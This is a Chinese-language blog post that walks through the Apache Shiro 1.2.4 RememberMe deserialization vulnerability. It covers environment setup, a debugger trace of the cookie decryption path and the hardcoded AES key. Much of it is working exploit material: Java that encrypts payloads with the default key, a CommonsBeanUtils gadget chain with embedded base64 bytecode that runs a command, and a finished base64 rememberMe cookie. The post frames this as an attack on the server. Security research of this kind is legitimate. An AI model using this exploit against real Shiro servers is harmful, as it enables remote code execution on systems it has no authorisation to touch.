本文最后更新于:2024年10月14日 中午
Shiro
配置环境
1 2 3
| git clone https://github.com/apache/shiro.git cd shiro git checkout shiro-root-1.2.4
|
修改shiro/samples/web目录下的pom.xml
中jstl版本为1.2
后更新maven
调试分析
需要分析三个问题:
- 为什么Shiro的RememberMe可以被伪造
- 为什么会触发反序列化漏洞
- 如何构造反序列化利用链
启动Tomcat后,会自动跳转页面,点击到登陆页:
勾选RememberMe,然后登陆抓包,
显然这个remeberMe是AES加密,几个斜杠连接的。下面开始调试:
如果运行没报错但是调试报错了
1
| Error opening zip file or JAR manifest missing : C:\JetBrains\IntelliJIdea2022.3\groovyHotSwap\gragent.jar
|
可以在插件中禁用groovy
插件解决
然后全局搜索cookie,找到CookieRememberMeManager.java
,这个就是漏洞存在的地方
看一下所有的函数,比较明显存在反序列化的地方有两个,
根据这两个函数的释义,getRememberedSerializedIdentity
方法大概率是用在反序列化cookie的时候,所以查看对它的调用,只有一处,在其这个类的父类AbstractRememberMeManager
中,
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { byte[] bytes = getRememberedSerializedIdentity(subjectContext); if (bytes != null && bytes.length > 0) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); }
return principals; }
|
可以看到调用了这个方法后返回了一串byte,然后用于后续的convertBytesToPrincipals
,可以看到这个方法对字节数组进行了先解密再反序列化,
分析一下这个解密函数:使用了CipherService
类解密,这是一个接口类,这里通过一个getCipherService
方法得到一个实例,而这个实例本来就是AbstractRememberMeManager
的一个私有成员变量;使用了getDecryptionCipherKey
方法获取密钥,同样是返回一个私有成员变量。
1 2 3 4 5 6 7 8 9
| protected byte[] decrypt(byte[] encrypted) { byte[] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
|
在实例化时便被赋值,确认为AES进行加密,然后下一行就是使用一个字节数组常量去初始化密钥,密钥也写在了这个类文件里面,AES是对称加密,所以加密和解密密钥是一样的。
1
| private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
|
分析到这里,就解决了为什么Shiro的RememberMe可以进行伪造的问题。
回到初次调用decrypt
方法的地方,分析为什么触发反序列化漏洞,调用的是父类的deserialize
方法,返回一个PrincipalCollection
类的实例,这里的getSerializer
是返回一个原生的Serializer<T>
,然后调用其反序列化方法。
1 2 3
| protected PrincipalCollection deserialize(byte[] serializedIdentity) { return getSerializer().deserialize(serializedIdentity); }
|
在AbstractRememberMeManager
的514行出下断点,然后调试,在页面登陆,记得删除原有的JSESSIONID
,步进两步,就进入了默认的序列化类
POC构造
这里用到一个IDEA的插件,帮我们分析依赖,MavenHelper,去插件搜索下载即可。下载完成后重启应用,打开对应Web应用的pom.xml
,下面会多出一个依赖分析。可以发现这里虽然有CC依赖,但是只是在Test中,并不在实际Web应用中,我们需要Runtime和Compile的依赖。
于是乎,发现了CommonBeanUtils
包,CB链分析
这里就先用CB链来打了,至于CC链的打法后面单独写一篇。
这是Shiro中使用的配置:
1 2 3 4 5 6 7 8 9 10 11
| public DefaultBlockCipherService(String algorithmName) { super(algorithmName);
this.modeName = OperationMode.CBC.name(); this.paddingSchemeName = PaddingScheme.PKCS5.getTransformationName(); this.blockSize = DEFAULT_BLOCK_SIZE;
this.streamingModeName = OperationMode.CBC.name(); this.streamingPaddingSchemeName = PaddingScheme.PKCS5.getTransformationName(); this.streamingBlockSize = DEFAULT_STREAMING_BLOCK_SIZE; }
|
还需要注意最后将初始向量和EncPayload组合在一起:
仿造Shiro的来就行了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| public class EncPayload { public static byte[] encryptionCipherKey = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); public static byte[] generateRandomIV(int sizeInBits) { int BITS_PER_BYTE = 8; int sizeInBytes = sizeInBits / BITS_PER_BYTE; byte[] ivBytes = new byte[sizeInBytes]; SecureRandom random = ensureSecureRandom(); random.nextBytes(ivBytes); return ivBytes; }
public static SecureRandom ensureSecureRandom() { return new SecureRandom(); }
public static byte[] encrypt(byte[] data) throws Exception { SecretKeySpec secretKey = new SecretKeySpec(encryptionCipherKey, "AES"); byte[] iv = generateRandomIV(128); IvParameterSpec ivParameterSpec = new IvParameterSpec(iv); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivParameterSpec); byte[] encryptedData = cipher.doFinal(data); byte[] output = new byte[iv.length + encryptedData.length]; System.arraycopy(iv, 0, output, 0, iv.length); System.arraycopy(encryptedData, 0, output, iv.length, encryptedData.length); return output; }
public static byte[] readFileToByteArray(String filePath) throws IOException { File file = new File(filePath); byte[] byteArray = new byte[(int) file.length()];
try (FileInputStream fis = new FileInputStream(file)) { int bytesRead = fis.read(byteArray); if (bytesRead != byteArray.length) { throw new IOException("Could not completely read the file: " + filePath); } } return byteArray; } public static void getPOC(String fileName) throws Exception { byte[] bytes = encrypt(readFileToByteArray(fileName)); System.out.println(Base64.getEncoder().encodeToString(bytes) + "\nPocLength:" + bytes.length); } }
|
然后将上次写好的CB链放进去加密一下,
重发请求包:注意这里要删除之前获得的JSESSIONID
,否则不会重新验证rememberMe
然后,没弹出计算器,去看看Shiro报错,没有出现解密相关的报错说明加密写的没有问题
为什么会出现CC的依赖呢,去看一下BeanComparator
的内容,确实依赖的CC库,在没有指定比较器时默认配置了ComparableComparator
显然这里没有CC的依赖,如何解决,是否能有一个类可以替代ComparableComparator
分析一下需要满足的条件:
- 不依赖CC库,就是jdk/shiro/CB中带有的
- 需要
implements Comparator,Serializable
- 兼容性强,意思就是长时间没有迭代更新的
怎么去找呢,在IDEA中ctrl+h可以看哪些类实现了接口,如图:
这里可以有很多选择,phith0n原文中用的是CaseInsensitiveComparator
,它是String类中的一个子类,满足上面的所有条件。
这里我用的是java.util.Collections$ReverseComparator2
,也能满足条件,怎么获取它的实例,看对应的类怎么写的就行,这里用Collections.reverseOrder()
即可获取一个对应的实例。
下面构造测试代码:在CB-1的基础上稍微改一下就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public static void main(String[] args) throws Exception { byte[] CalcCode = Base64.getDecoder().decode( "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEA" + "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" + "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0a" + "W9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKEx" + "jb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hc" + "GFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS9" + "4bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAA" + "ygpVgcAGwEAClNvdXJjZUZpbGUBABBUZW1wbGF0ZVBPQy5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGM" + "MAB8AIAEAC1RlbXBsYXRlUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzb" + "HRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnR" + "lcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL" + "2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQA" + "nKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIA" + "AIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAALAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAA" + "ABAAAAAGxAAAAAQAKAAAABgABAAAADwALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAA" + "bgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAARAAQAEgANABMACwAAAAQAAQAQAAEAEQAAAAIAEg=="); TemplatesImpl calcTemp = new TemplatesImpl(); setFieldValue(calcTemp, "_bytecodes", new byte[][]{CalcCode}); setFieldValue(calcTemp, "_name", "CalcTemplatesImpl"); setFieldValue(calcTemp, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(); PriorityQueue queue = new PriorityQueue<>(2, comparator); queue.add("3xsh0re"); queue.add("CB-1");
setFieldValue(comparator, "property", "outputProperties"); setFieldValue(comparator, "comparator", Collections.reverseOrder()); setFieldValue(queue, "queue", new Object[]{calcTemp, calcTemp}); }
|
用加密函数生成一个payload:
1
| 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
|
攻击:
当然这里还有一些报错,不过这是武器化该解决的问题,这里暂且不提。
CB-Shiro完整Demo